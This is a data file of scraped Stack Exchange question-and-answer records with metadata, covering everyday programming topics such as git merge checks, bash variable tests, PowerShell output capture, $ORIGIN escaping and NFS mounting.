"question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:39.343819"}
{"id": "hf_46a775aef36c", "question": "<p>I have a git repository with multiple branches. </p>\n\n<p>How can I know which branches are already merged into the master branch?</p>\n", "question_body": "", "answer": "You can use the\n```\ngit merge-base\n```\ncommand to find the latest common commit between the two branches. If that commit is the same as your branch head, then the branch has been completely merged.\nNote that\n```\ngit branch -d\n```\ndoes this sort of thing already because it will refuse to delete a branch that\nhasn't\nalready been completely merged.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:39.520418"}
{"id": "hf_fd19904ad985", "question": "<p>I need to be able to launch a process and read the output into a variable.  Then based on the return of the command I can choose to show the full output or just a selected subset.</p>\n\n<p>So to be clear, I want to launch a text based process (psexec actually) and read the output from that command (stdout, stderr, etc) into a variable rather than have it directly outputted to the console.</p>\n", "question_body": "", "answer": "You left off some details regarding what kind of process, but I think\nthis article\nfrom the Powershell Team Blog has whatever you'd like to do, either from piping the executable's output somewhere or utilizing\n```\nSystem.Diagnostics.Process\n```\n.\nNow that the second option sounds like what you want to do, you can use the\n```\nProcessStartInfo\n```\nclass to feed in\n```\ntrue\n```\nas the\n```\nRedirectStandardOutput\n```\nproperty, and then read from the\n```\nStandardOutput\n```\nproperty of the\n```\nProcess\n```\nobject to do whatever you want with the output.\n```\nStandardError\n```\nworks identically.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:39.758920"}
{"id": "hf_1b384969e314", "question": "<p>I was wondering if there was an alternative to <code>itoa()</code> for converting an integer to a string because when I run it in visual Studio I get warnings, and when I try to build my program under Linux, I get a compilation error.</p>\n", "question_body": "", "answer": "boost::lexical_cast\nworks pretty well.\n```\n```\n#include <boost/lexical_cast.hpp>\nint main(int argc, char** argv) {\n    std::string foo = boost::lexical_cast<std::string>(argc);\n}\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:39.935265"}
{"id": "hf_ba3e2f4a652b", "question": "<p>Very simple question, is there any cloud server enviroments avaliable these days for us .NET guys that rivals Amazons ec2? </p>\n\n<p>EDIT: </p>\n\n<p>PDC 2008 looks like there are some very interesting info, and only 4 days 2 hours  to wait :-). Looks like I need to get saving fast for the conference fee though.  </p>\n", "question_body": "", "answer": "Hold your breath for\nPDC 2008\nand you'll see.  Also Amazon's EC2 service support for Windows images is in Beta.\nAWS Windows Support Blog Post\nOct 23 Update\n: AWS Windows Support Released To Production (\ndetails here\n)\nOct 27th Update\n: So you held your breath and saw the Reddog folk become \"Windows Azure\" cloud services and Sitka - SQL Server Data Services.  Lots of activity to read and learn at MSDN, MS PDC site, Channel 9 etc.  Have fun!", "tags": ["aws", "azure"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:40.046938"}
{"id": "hf_836b759e9fee", "question": "<p>Is there a good, up-to-date listing anywhere that maps User-Agent HTTP Header strings --> operating systems?</p>\n", "question_body": "", "answer": "Here's a quick list... let me know if I missed one you are interested in.\nhttp://www.geekpedia.com/code47_Detect-operating-system-from-user-agent-string.html\n:\n// Match user agent string with operating systems\nWindows 3.11 =>\n  Win16,\nWindows 95 => (Windows 95)|(Win95)|(Windows_95),\nWindows 98 => (Windows 98)|(Win98),\nWindows 2000 => (Windows NT\n  5.0)|(Windows 2000),\nWindows XP => (Windows NT 5.1)|(Windows\n  XP),\nWindows Server 2003 => (Windows NT 5.2),\nWindows Vista =>\n  (Windows NT 6.0),\nWindows 7 => (Windows NT 6.1),\nWindows 8 => (Windows NT 6.2),\nWindows 10 => (Windows NT 10.0),\nWindows NT\n  4.0 => (Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT),\nWindows\n  ME => Windows ME,\nOpen BSD => OpenBSD,\nSun OS => SunOS,\nLinux => (Linux)|(X11),\nMac OS => (Mac_PowerPC)|(Macintosh),\nQNX => QNX,\nBeOS => BeOS,\nOS/2 => OS/2,\nSearch\n  Bot=>(nuhk)|(Googlebot)|(Yammybot)|(Openbot)|(Slurp)|(MSNBot)|(Ask\n  Jeeves/Teoma)|(ia_archiver)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:40.219748"}
{"id": "hf_ee51fdd90b99", "question": "<p>Has anyone come up with a good way to share a set of Visual Studio Code Snippets (actual .snippet files that Visual studio uses) amongst a team of developers automatically?  It would be great for other developers on my team to benefit from shortcuts I've created for myself, and vice versa.</p>\n", "question_body": "", "answer": "I know this post is very old, but I found another good way (IMO) for sharing snippets, maybe in addition to the solution @Kevin Dente provided:\nusing git\n!!\nI shared successfully snippets and project templates creating an ad hoc git repository named\nsnippets.git\n, I cloned it into the\nMyDocuments\\Visual Studio 2015\\Code Snippets\nfolder and now I can add, edit or delete snippets from\nMyDocuments\\Visual Studio 2015\\Code Snippets\\Visual C#\\My Code Snippets\n(or\nVisual Basic\nfolder), then commit and push to make them available to all other team members with the same configuration.\nThe principle is applicable also to the project templates, you can create a\ntemplates.git\nrepository and clone it to the\nMyDocuments\\Visual Studio 2015\\Templates\nfolder, then create the templates under the\nMyDocuments\\Visual Studio 2015\\Templates\\ProjectTemplates\\Visual C#\nfolder (or\nVisual Basic\nfolder).\nThis way the developers can periodically pull the two repositories and have up to date snippets and templates, available almost everywhere the git server is reachable (anyone said github? or bitbucket?).\nOf course I am using Visual Studio 2015, but the method can be used with previous and, I think, future versions of Visual Studio.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:40.340619"}
{"id": "hf_20e899aef0a5", "question": "<p>Following on from <a href=\"https://stackoverflow.com/questions/223832/check-a-string-to-see-if-all-characters-are-hexadecimal-values\">this question</a> what would be the best way to write a Char.IsHex() function in C#. So far I've got this but don't like it:</p>\n\n<pre><code>bool CharIsHex(char c) {\n    c = Char.ToLower(c);\n    return (Char.IsDigit(c) || c == 'a' || c == 'b' || c == 'c' || c == 'd' || c == 'e' || c == 'f')\n}\n</code></pre>\n", "question_body": "", "answer": "From\nmy answer\nto the question you linked to:\n```\n```\nbool is_hex_char = (c >= '0' && c <= '9') ||\n                   (c >= 'a' && c <= 'f') ||\n                   (c >= 'A' && c <= 'F');\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:40.460162"}
{"id": "hf_711ef62cb33c", "question": "<p>What's the difference between <code>Char.IsDigit()</code> and <code>Char.IsNumber()</code> in C#?</p>\n", "question_body": "", "answer": "I found the answer:\nChar.IsNumber() determines if a Char\n  is of any numeric Unicode category.\n  This contrasts with IsDigit, which\n  determines if a Char is a radix-10\n  digit.\nValid numbers are members of the\n  following categories in\nUnicodeCategory\n:\n```\nDecimalDigitNumber\n```\nDecimal digit character, that is, a character in the range 0 through 9. Signified by the Unicode designation \"Nd\" (number, decimal digit). The value is 8.\n```\nLetterNumber\n```\nNumber represented by a letter, instead of a decimal digit, for example, the Roman numeral for five, which is \"V\". The indicator is signified by the Unicode designation \"Nl\" (number, letter). The value is 9.\n```\nOtherNumber\n```\nNumber that is neither a decimal digit nor a letter number, for example, the fraction ½. The indicator is signified by the Unicode designation \"No\" (number, other). The value is 10.\nConclusion\n```\nChar.IsDigit\n```\n:\nValid digits are members of the\n```\nDecimalDigitNumber\n```\ncategory only.\n```\nChar.IsNumber\n```\n:\nValid numbers are members of the\n```\nDecimalDigitNumber\n```\n,\n```\nLetterNumber\n```\n, or\n```\nOtherNumber\n```\ncategory.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:40.612311"}
{"id": "hf_6d16d032bd6d", "question": "<p>If I want to check for the null string I would do</p>\n\n<pre><code>[ -z $mystr ]\n</code></pre>\n\n<p>but what if I want to check whether the variable has been defined at all? Or is there no distinction in Bash scripting?</p>\n", "question_body": "", "answer": "```\n```\n~> if [ -z $FOO ]; then echo \"EMPTY\"; fi\nEMPTY\n~> FOO=\"\"\n~> if [ -z $FOO ]; then echo \"EMPTY\"; fi\nEMPTY\n~> FOO=\"a\"\n~> if [ -z $FOO ]; then echo \"EMPTY\"; fi\n~>\n```\n```\n-z works for undefined variables too. To distinguish between an undefined and a defined you'd use the things listed\nhere\nor, with clearer explanations,\nhere\n.\nCleanest way is using expansion like in these examples. To get all your options check the Parameter Expansion section of the manual.\nAlternate word:\n```\n```\n~$ unset FOO\n~$ if test ${FOO+defined}; then echo \"DEFINED\"; fi\n~$ FOO=\"\"\n~$ if test ${FOO+defined}; then echo \"DEFINED\"; fi\nDEFINED\n```\n```\nDefault value:\n```\n```\n~$ FOO=\"\"\n~$ if test \"${FOO-default value}\" ; then echo \"UNDEFINED\"; fi\n~$ unset FOO\n~$ if test \"${FOO-default value}\" ; then echo \"UNDEFINED\"; fi\nUNDEFINED\n```\n```\nOf course you'd use one of these differently, putting the value you want instead of 'default value' and using the expansion directly, if appropriate.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:40.740084"}
{"id": "hf_fb7dc93c6179", "question": "<p>I need a cross platform solution for clearing the console in both Linux and Windows written in C++. Are there any functions in doing this? Also make note that I don't want the end-user programmer to have to change any code in my program to get it to clear for Windows vs Linux (for example if it has to pick between two functions then the decision has to be made at run-time or at compile-time autonomously).</p>\n", "question_body": "", "answer": "I know this isn't answering my own question but!\nThis works for Windows (\n```\n#include <windows.h>\n```\n):\n```\n```\nvoid clrscr()\n{\n    HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);\n    COORD coord = {0, 0};\n    DWORD count;\n\n    CONSOLE_SCREEN_BUFFER_INFO csbi;\n    GetConsoleScreenBufferInfo(hStdOut, &csbi);\n\n    FillConsoleOutputCharacter(hStdOut, ' ', csbi.dwSize.X * csbi.dwSize.Y, coord, &count);\n\n    SetConsoleCursorPosition(hStdOut, coord);\n}\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:40.912269"}
{"id": "hf_e15ab11dfb43", "question": "<p>Has anybody tried creating <code>RawSocket</code> in <code>Android</code> and have succeeded ?</p>\n", "question_body": "", "answer": "I havent actually created any raw sockets in Android but the java.net and javax.net packages shold do what you need,\njava.net package overview\njavax.net package overview", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:41.082552"}
{"id": "hf_d3c0d47c31fb", "question": "<p>I'm trying to link an RPATH containing the special string $ORIGIN into an executable built using GCC with the Code::Blocks IDE. I've specified</p>\n\n<pre><code>-Wl,-R$ORIGIN\n</code></pre>\n\n<p>in the linker options for the project, but the command line output to GCC is wrong (stripped for clarity):</p>\n\n<pre><code>g++ -Wl,-R\n</code></pre>\n\n<p>What is the correct way to specify this argument for Code::Blocks?</p>\n", "question_body": "", "answer": "Whoever decided to make the token $ORIGIN is an evil bastard who deserves a special place in programmer hell. Since '$' is a special character for bash and other scripting languages like make, it screws everything up unless carefully escaped. Even worse, depending on which build environment you're using, the specifics of how to escape properly will likely change.\nIn bash, you need to stick a backslash in front of the $:\n```\n```\n-Wl,-R\\$ORIGIN\n```\n```\nCode::Blocks apparently also treats the $ as special. Then, whatever subprocess controller Code::Blocks sends the command to treats the backslash as special. So, both the backslash and the $ need to be doubled up to get escaped properly. Therefore, in Code::Blocks linker settings, you need to specify:\n```\n```\n-Wl,-R\\\\$$ORIGIN\n```\n```\n...which outputs:\n```\n```\n-Wl,-R\\\\$ORIGIN\n```\n```\n...to the build log, but the shell actually gets sent:\n```\n```\n-Wl,-R\\$ORIGIN\n```\n```\n...which as mentioned above produces the desired result.\nWhat a pain.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:41.405767"}
{"id": "hf_064c19430881", "question": "<p>I am working with some input that is in the possible forms</p>\n\n<pre><code>$1,200\n20 cents/ inch\n$10\n</code></pre>\n\n<p>Is there a way to parse these to numbers in VB?  Also printing these numbers?</p>\n\n<p><strong>EDIT:</strong> Regular expressions would be great.</p>\n\n<p><strong>EDIT:</strong> VB 6 in particular</p>\n", "question_body": "", "answer": "Ehh...Assuming all that you want is the digits, I would use a Regular Expression to simply replace any non-digit with \"\".\nYou would need to reference Microsoft VBScript Regular Expressions in your project. Then let's say that your text was in a variable called strTest. Here is some off the cuff untested code:\n```\n```\nDim oRE As Object\nSet oRE = New VBScript_RegExp.RegExp\noRe.Pattern = \"\\D\"\nstrTest = oRE.Replace(strTest, \"\")\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:41.583318"}
{"id": "hf_d8d5c1b427e4", "question": "<p>What tool or method do you recommend to find and replace values in your code? If code is on Linux/Unix, are find and grep the best method?</p>\n", "question_body": "", "answer": "I'm assuming you intend to rename a variable.\nIt depends on what the body of code is. For C#, Visual Studio's renaming tool is very good. Remember that for it to work reliably, you need the renaming to work hand in hand with the compiler/interpreter, so you can make sure you only make the change in the right scope.\nIf it is a very simple find/replace, surely the lowly notepad would do an OK job?", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:41.723770"}
{"id": "hf_721a3dac39c3", "question": "<p>Is there a way to mount a Linux directory from a different PC to your local Linux PC? How?</p>\n", "question_body": "", "answer": "You need to be a bit more specific.  You can use NFS.\nDepending on what distro you're using, you simply edit the\n```\n/etc/exports\n```\nfile on the remote machine to export the directories you want, then start your NFS daemon.\nThen on the local PC, you mount it using the following command:\n```\n```\nmount -t nfs {remote_pc_address}:/remote/dir /some/local/dir\n```\n```\nUse the\n```\nman\n```\nutility for more information:\nman exports\n(Examples of configuring directories for export are on the bottom of this manual page.)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:41.951684"}
{"id": "hf_76f5c7dc04f1", "question": "<p>Is it possible to have all the computing capacity of all the hardware nodes allocated to one instance (for eg. one basic linux installation)?</p>\n\n<p>How to manage the cloud?</p>\n", "question_body": "", "answer": "I think you're confusing cloud computing and grid computing here. Although they do have similarities.\nCloud computing is usually used to refer to solutions where data is stored somewhere on the internet and made available on any workstation that is online.\nGrid computing is used to refer to applications where a lot of different agents solve parts of the same computing problem in parallel. (think Seti-at-home or folding-at-home)\nBut you can't use cloud or grid computing to just seamlessly run existing platforms. Both refer to architectures. There are a couple of platforms that are general implementations of these architectures but they're so different that you can't easilly run software on them that's not designed to run distributed.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:42.089768"}
{"id": "hf_bfa4a7089b5a", "question": "<p>Is there currently a way to host a shared Git repository in Windows?  I understand that you can configure the Git service in Linux with:</p>\n\n<pre><code>git daemon\n</code></pre>\n\n<p>Is there a native Windows option, short of sharing folders, to host a Git service?</p>\n\n<p>EDIT:\nI am currently using the cygwin install of git to store and work with git repositories in Windows, but I would like to take the next step of hosting a repository with a service that can provide access to others.</p>\n", "question_body": "", "answer": "Have you considered using the cygwin layer? See\nthis link\n.", "tags": ["linux", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:42.259703"}
{"id": "hf_264d7f6dbee3", "question": "<p>As per RFC1035, dns names may contain \\ddd \\x and quote symbol. Please explain with examples about those.</p>\n", "question_body": "", "answer": "RFC1035\ndoesn't say that DNS\nnames\ncan contain those characters.  In section 5 (MASTER FILES) it says that the\nfile\nthat contains the RR information can contain those characters.  Specifically: \"Because these files are text files several special encodings are\nnecessary to allow arbitrary data to be loaded.\"  There's text other than domains that can go into zone files.  For instance, the entry in a TXT record is free text, so you might want to put a binary character in it, represented with a \\ddd string, etc.  You are also allowed to make comments, so you might use these \"special encodings\" in your comments.\nThere is support for internationalized domain names, but RFC1035 is from 1987, it wasn't talking about i18n domain names at that time.\nEDIT:  I just reread it and I think I'm wrong.  The stuff above is technically about the file format.  However, this is also in the RFC in section 3.1:\n```\n```\nAlthough labels can contain any 8 bit values in octets that make up a\nlabel, it is strongly recommended that labels follow the preferred\nsyntax described elsewhere in this memo, which is compatible with\nexisting host naming conventions.  Name servers and resolvers must\ncompare labels in a case-insensitive manner (i.e., A=a), assuming ASCII\nwith zero parity.  Non-alphabetic codes must match exactly.\n```\n```\nSo, that says that any 8-bit char can be part of a label (where a label is that part of the domain name between dots).  This doc is describing the technical capability of the DNS protocol, though.  Common usage is a different thing.  In fact, in section \"2.3.1. Preferred name syntax\":\n```\n```\nThe following syntax will result in\nfewer problems with many applications\nthat use domain names (e.g., mail,\nTELNET).\n\n<domain> ::= <subdomain> | \" \"\n\n<subdomain> ::= <label> | <subdomain>\n\".\" <label>\n\n<label> ::= <letter> [ [ <ldh-str> ]\n<let-dig> ]\n\n<ldh-str> ::= <let-dig-hyp> |\n<let-dig-hyp> <ldh-str>\n\n<let-dig-hyp> ::= <let-dig> | \"-\"\n\n<let-dig> ::= <letter> | <digit>\n\n<letter> ::= any one of the 52\nalphabetic characters A through Z in\nupper case and a through z in lower\ncase\n\n<digit> ::= any one of the ten digits\n0 through 9\n```\n```\nIn other words, the DNS protocol was defined from the beginning to work with 8-bit ascii.  However, if you actually wanted your programs to be able to use the domains in the DNS, you should stick with [a-z-].\nAs for an example, I think this just meant you could have a DNS entry like this:\n```\n```\nIHaveAn\\020EmbeddedTab  IN A 172.24.3.1\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:42.394398"}
{"id": "hf_e9c9a36f4eff", "question": "<p>In <code>tcsh</code>, I have the following script working:</p>\n\n<pre><code>#!/bin/tcsh\nsetenv X_ROOT /some/specified/path\n\nsetenv XDB    ${X_ROOT}/db\nsetenv PATH   ${X_ROOT}/bin:${PATH}\n\nxrun -d xdb1 -i $1 &gt; $2\n</code></pre>\n\n<p>What is the equivalent to the <code>tcsh setenv</code> function in Bash? </p>\n\n<p>Is there a direct analog? The environment variables are for locating the executable.</p>\n", "question_body": "", "answer": "I think you're looking for\n```\nexport\n```\n- though I could be wrong.. I've never played with tcsh before. Use the following syntax:\n```\n```\nexport VARIABLE=value\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:42.599825"}
{"id": "hf_bf5626f8df52", "question": "<p>I am running GNU Emacs on Windows so entering:</p>\n\n<pre><code>M-x shell\n</code></pre>\n\n<p>launches the Windows command-line DOS shell. However, I would like to instead be able to run the Cygwin Bash Shell (or any other non-Windows shell) from within Emacs. How can this be easily done?</p>\n", "question_body": "", "answer": "I use XEmacs with Cygwin, and can run bash from XEmacs relatively easily.\nHere's the relevant section from\n```\ninit.el\n```\n```\n```\n;; Let's use CYGWIN bash...\n;;\n(setq binary-process-input t) \n(setq w32-quote-process-args ?\\\") \n(setq shell-file-name \"bash\") ;; or sh if you rename your bash executable to sh. \n(setenv \"SHELL\" shell-file-name) \n(setq explicit-shell-file-name shell-file-name) \n(setq explicit-sh-args '(\"-login\" \"-i\"))\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:42.749791"}
{"id": "hf_b7def7937c43", "question": "<p>I'd like to install Java on a Psion 5MX with GNU/Linux 16MB RAM machine, will it be possible?</p>\n\n<p>Unfortunatly, <a href=\"http://www.java.com/en/download/faq/5000080100.xml\" rel=\"nofollow noreferrer\">\"KVM must be installed by the manufacturer\"</a>.</p>\n\n<p>What I want is to be able to is to write basic Java code, test and sketch simple algorithms. \nImportant notes: I don't need the graphic part since I'll only use the console (no graphic server) but this will be inside a Debian.</p>\n", "question_body": "", "answer": "Please give us more details about the machine, besides the OS and the memory. Also give us details on what you hope to accomplish with Java on such an underpowered machine (Java has some big overhead in embedded places as compared to writing native code).\nThe answer is maybe. I've seen Java running on a machine with 4MB of RAM, but it was not running Linux (in fact there was no OS at all). Link:\nJava on the Nintendo DS", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:42.884314"}
{"id": "hf_3f8315f656d4", "question": "<p>I've been getting some OutOfMemory errors lately in my application. Is it possible to detect ahead of time when the virtual machine is running low on memory? In other words to preemptively deal with OutOfMemory errors before they actually occur?</p>\n", "question_body": "", "answer": "I suggest that a better question is \"Why is my application running out of memory?\"\nYou may need to increase the memory available to the JVM at startup;\nYou may have a memory leak (objects that aren't getting released when they're no longer needed.)\nMore information on the application might also be helpful\nDoes it run continuously, 24x7x365?\nDoes it run once and exit?\nUsing performance monitoring/profiling tools to find the cause of the memory problem is really your best bet.", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:43.094465"}
{"id": "hf_8708a3b9376f", "question": "<p>I have the following string expression in a PowerShell script:</p>\n\n<pre><code>\"select count(*) cnt from ${schema}.${table} where ${col.column_name} is null\"\n</code></pre>\n\n<p>The schema and table resolve to the values of $schema and $table, respectively. However, an empty string is supplied for ${col.column_name}. How can I dot into the member of a variable as part of a string substitution?</p>\n", "question_body": "", "answer": "How about:\n```\n```\n\"select count(*) cnt from $schema.$table where $($col.column_name) is null\"\n```\n```", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:43.210978"}
{"id": "hf_348cbbef4be4", "question": "<p>I want a Java IDE with a compiler for Linux and that does not require a a big amount of RAM.\nI have 256 MB of ram, so my options are limited</p>\n", "question_body": "", "answer": "Does the 256MB of RAM also include program space, or will the code be stored elsewhere in flash or another memory type?\nYou can get embeddable java machines, and small java compilers for linux.  The IDE, however, is tricky as you don't merely say editor, but you want a whole integrated environment.\nSince you have Java installed already, I suggest Eclipse.  It seems bulky and resource intensive on PCs, but you can cut it back significantly by removing features (classes) you don't want/need.\n-Adam", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:43.342219"}
{"id": "hf_2185b29a82d7", "question": "<p>Is one more preferred, or performs better over the other?</p>\n", "question_body": "", "answer": "```\nis_int()\n```\nreturns true if the argument is an integer type,\n```\nctype_digit()\n```\ntakes a string argument and returns true if all the characters in the string are digits.\nExample:\n```\n```\n┌──────────┬───────────┬────────────────┐\n│          │  is_int:  │  ctype_digit:  │\n├──────────┼───────────┼────────────────┤\n│ 123      │  true     │  false         │\n├──────────┼───────────┼────────────────┤\n│ 12.3     │  false    │  false         │\n├──────────┼───────────┼────────────────┤\n│ \"123\"    │  false    │  true          │\n├──────────┼───────────┼────────────────┤\n│ \"12.3\"   │  false    │  false         │\n├──────────┼───────────┼────────────────┤\n│ \"-1\"     │  false    │  false         │\n├──────────┼───────────┼────────────────┤\n│ -1       │  true     │  false         │\n└──────────┴───────────┴────────────────┘\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:43.514321"}
{"id": "hf_691b5fe74d89", "question": "<p>What's the best cross-platform way to get file creation and modification dates/times, that works on both Linux and Windows?</p>\n", "question_body": "", "answer": "os.stat\nIn newer code you should probably use\nos.path.getmtime()\n(\nthanks, Christian Oudard\n).\nBut note that it returns a floating point value of\ntime_t\nwith fraction seconds (if your OS supports it).", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:43.667785"}
{"id": "hf_b68753cf0b9b", "question": "<h3>How does the JVM handle a primitive \"long\", which is 64bits, on a 32bit processor?</h3>\n\n<p><br>\nCan it utilise mulitple cores in parallel when on a Multi-Core 32bit machine?<br>\nHow much slower are 64bit operations on a 32bit machine?</p>\n", "question_body": "", "answer": "It may use multiple cores to run different threads, but it does not use them in parallel for 64 bit calculations.  A 64 bit long is basically stored as two 32 bit ints.  In order to add them, two additions are needed, keeping track of the carry bit.  Multiplication is kind of like multiplying two two-digit numbers, except each digit is in base 2^32 instead of base 10.  So on for other arithmetic operations.\nEdit about speed: I can only guess about the speed difference.  An addition requires two adds instead of one, and a multiplication would (I think) require four multiplies instead of one.  However, I suspect that if everything can be kept in registers then the actual time for the computation would be dwarfed by the time required to go to memory twice for the read and twice for the write, so my guess is about twice as long for most operations.  I imagine that it would depend on the processor, the particular JVM implementation, the phase of the moon, etc.  Unless you are doing heavy number crunching, I wouldn't worry about it.  Most programs spend most of their time waiting for IO to/from the disk or network.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:43.834030"}
{"id": "hf_e4c3b753e03c", "question": "<p>For my area, I get the updates from </p>\n\n<ul>\n<li>ww.asp.net</li>\n<li>code.google.com</li>\n<li>www.webmasterworld.com</li>\n</ul>\n\n<p>What others do you highly recommend?</p>\n", "question_body": "", "answer": "If you're into anything with Linux:\nhttp://www.linux.com/feature\nA List Apart\nhas some excellent web articles\nIf you want keep up with browsers,\nWeb Browsers News and Reviews\nmight help.\nFinally,\nPPK\n, a javascript expert, often has some interesting links and blog posts.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:43.975632"}
